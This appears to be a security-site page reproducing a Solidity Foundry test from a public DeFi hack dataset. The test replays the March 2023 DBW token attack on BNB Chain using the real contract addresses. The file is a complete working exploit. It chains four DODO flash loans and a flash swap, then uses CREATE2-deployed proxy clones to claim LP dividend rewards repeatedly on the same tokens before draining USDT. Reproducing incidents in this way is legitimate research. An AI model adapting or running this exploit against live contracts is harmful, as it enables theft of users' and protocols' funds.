Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/DBW_exp.sol

Public reproduction file for dataset entry - DBW.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/DBW_exp.sol194 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1639655134232969216
9// https://twitter.com/AnciliaInc/status/1639289686937210880
10// @TX
11// https://bscscan.com/tx/0x3b472f87431a52082bae7d8524b4e0af3cf930a105646259e1249f2218525607
12// @Summary
13// The root cause is that the dividend awards are based on the percentage of LP currently owned by the user,
14// and does not take into account multiple dividends after the transfer of LP.
15// @Similar events
16// https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main#20230103---gds---business-logic-flaw
17// https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main#20221001-rl-token---incorrect-reward-calculation
19interface IDBW is IERC20 {
20 function pledge_lp(
21 uint256 count
22 ) external;
23 function getStaticIncome() external;
24 function redemption_lp(
25 uint256 count
26 ) external;
29contract ContractTest is Test {
30 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
31 IDBW DBW = IDBW(0xBF5BAea5113e9EB7009a6680747F2c7569dfC2D6);
32 Uni_Pair_V2 Pair = Uni_Pair_V2(0x69D415FBdcD962D96257056f7fE382e432A3b540);
33 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
34 address dodo1 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
35 address dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
36 address dodo3 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
37 address dodo4 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
38 Uni_Pair_V2 flashSwapPair = Uni_Pair_V2(0x618f9Eb0E1a698409621f4F487B563529f003643);
39 uint256 dodo1FlashLoanAmount;
40 uint256 dodo2FlashLoanAmount;
41 uint256 dodo3FlashLoanAmount;
42 uint256 dodo4FlashLoanAmount;
43 uint256 PairFlashLoanAmount;
44 claimRewardImpl RewardImpl;
46 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
48 function setUp() public {
49 cheats.createSelectFork("bsc", 26_745_691);
50 cheats.label(address(USDT), "USDT");
51 cheats.label(address(DBW), "DBW");
52 cheats.label(address(Pair), "Pair");
53 cheats.label(address(Router), "Router");
54 cheats.label(address(dodo1), "dodo1");
55 cheats.label(address(dodo2), "dodo2");
56 cheats.label(address(dodo3), "dodo3");
57 cheats.label(address(dodo4), "dodo4");
58 cheats.label(address(flashSwapPair), "flashSwapPair");
59 }
61 function testExploit() external {
62 RewardImpl = new claimRewardImpl();
63 dodo1FlashLoanAmount = USDT.balanceOf(dodo1);
64 DVM(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));
66 emit log_named_decimal_uint(
67 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
68 );
69 }
71 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
72 if (msg.sender == dodo1) {
73 dodo2FlashLoanAmount = USDT.balanceOf(dodo2);
74 DVM(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));
75 USDT.transfer(dodo1, dodo1FlashLoanAmount);
76 } else if (msg.sender == dodo2) {
77 dodo3FlashLoanAmount = USDT.balanceOf(dodo3);
78 DVM(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));
79 USDT.transfer(dodo2, dodo2FlashLoanAmount);
80 } else if (msg.sender == dodo3) {
81 dodo4FlashLoanAmount = USDT.balanceOf(dodo4);
82 DVM(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));
83 USDT.transfer(dodo3, dodo3FlashLoanAmount);
84 } else if (msg.sender == dodo4) {
85 PairFlashLoanAmount = 3_037_214_233_168_643_025_678_873;
86 flashSwapPair.swap(PairFlashLoanAmount, 0, address(this), new bytes(1));
87 USDT.transfer(dodo4, dodo4FlashLoanAmount);
88 }
89 }
91 function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
92 USDT.approve(address(Router), type(uint256).max);
93 DBW.approve(address(Router), type(uint256).max);
94 Pair.approve(address(Router), type(uint256).max);
95 USDTToDBW_AddLiquidity();
96 miniProxyCloneFactory(address(RewardImpl));
97 RemoveLiquidity_DBWToUSDT();
98 USDT.transfer(address(flashSwapPair), PairFlashLoanAmount * 10_000 / 9999 + 1000);
99 }
101 function USDTToDBW_AddLiquidity() internal {
102 address[] memory path = new address[](2);
103 path[0] = address(USDT);
104 path[1] = address(DBW);
105 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
106 800_000 * 1e18, 0, path, address(this), block.timestamp
107 );
108 Router.addLiquidity(
109 address(USDT),
110 address(DBW),
111 USDT.balanceOf(address(this)),
112 DBW.balanceOf(address(this)),
113 0,
114 0,
115 address(this),
116 block.timestamp
117 );
118 }
120 function miniProxyCloneFactory(
121 address impl
122 ) internal {
123 for (uint256 i; i < 18; ++i) {
124 uint256 _salt = uint256(keccak256(abi.encodePacked(i)));
125 bytes memory creationBytecode = getCreationBytecode(address(impl));
126 address newImpl = getAddress(creationBytecode, _salt);
127 Pair.transfer(newImpl, Pair.balanceOf(address(this)));
128 // new miniProxy{salt: keccak256("salt")}(impl);
129 deploy(creationBytecode, _salt);
130 (uint256 USDTReserve, uint256 DBWReserve,) = Pair.getReserves();
131 uint256 DBWInPairAmount = DBW.balanceOf(address(Pair));
132 uint256 USDTTransferAmount = DBWInPairAmount * USDTReserve / DBWReserve - USDTReserve;
133 USDT.transfer(address(Pair), USDTTransferAmount);
134 Pair.mint(address(this));
135 }
136 }
138 function RemoveLiquidity_DBWToUSDT() internal {
139 Router.removeLiquidity(
140 address(USDT), address(DBW), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp
141 );
142 address[] memory path = new address[](2);
143 path[0] = address(DBW);
144 path[1] = address(USDT);
145 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
146 DBW.balanceOf(address(this)), 0, path, address(this), block.timestamp
147 );
148 }
150 function getCreationBytecode(
151 address claimImpl
152 ) public pure returns (bytes memory) {
153 bytes memory bytecode = type(miniProxy).creationCode;
154 return abi.encodePacked(bytecode, abi.encode(claimImpl));
155 }
157 function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {
158 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
159 return address(uint160(uint256(hash)));
160 }
162 function deploy(bytes memory bytecode, uint256 _salt) internal {
163 address addr;
164 assembly {
165 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
166 }
167 }
170contract claimRewardImpl is Test {
171 function exploit() public {
172 IDBW DBW = IDBW(0xBF5BAea5113e9EB7009a6680747F2c7569dfC2D6);
173 Uni_Pair_V2 Pair = Uni_Pair_V2(0x69D415FBdcD962D96257056f7fE382e432A3b540);
174 Pair.approve(address(DBW), type(uint256).max);
175 DBW.getStaticIncome();
176 vm.warp(block.timestamp + 2 * 24 * 60 * 60); // bypass locktime Limit
177 uint256 LPAmount = Pair.balanceOf(address(this));
178 DBW.pledge_lp(LPAmount); // send LP
179 DBW.getStaticIncome(); // claim reward
180 DBW.redemption_lp(LPAmount); // redeem LP
181 Pair.transfer(msg.sender, LPAmount);
182 DBW.transfer(address(Pair), DBW.balanceOf(address(this)));
183 }
186contract miniProxy {
187 constructor(
188 address claimRewardImpl
189 ) {
190 (bool success,) = claimRewardImpl.delegatecall(abi.encodeWithSignature("exploit()"));
191 require(success);
192 selfdestruct(payable(tx.origin));
193 }

Analysis

Dataset entry

Public Foundry test for “- DBW” (2023-03-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
DBW
Path
src/test/2023-03/DBW_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9068afcbb4a81a4e16968222fe96e510bbec74f7
Language
Solidity
Size
195 lines
Date
2023-03-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/DBW_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9068afcbb4a81a4e16968222fe96e510bbec74f7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.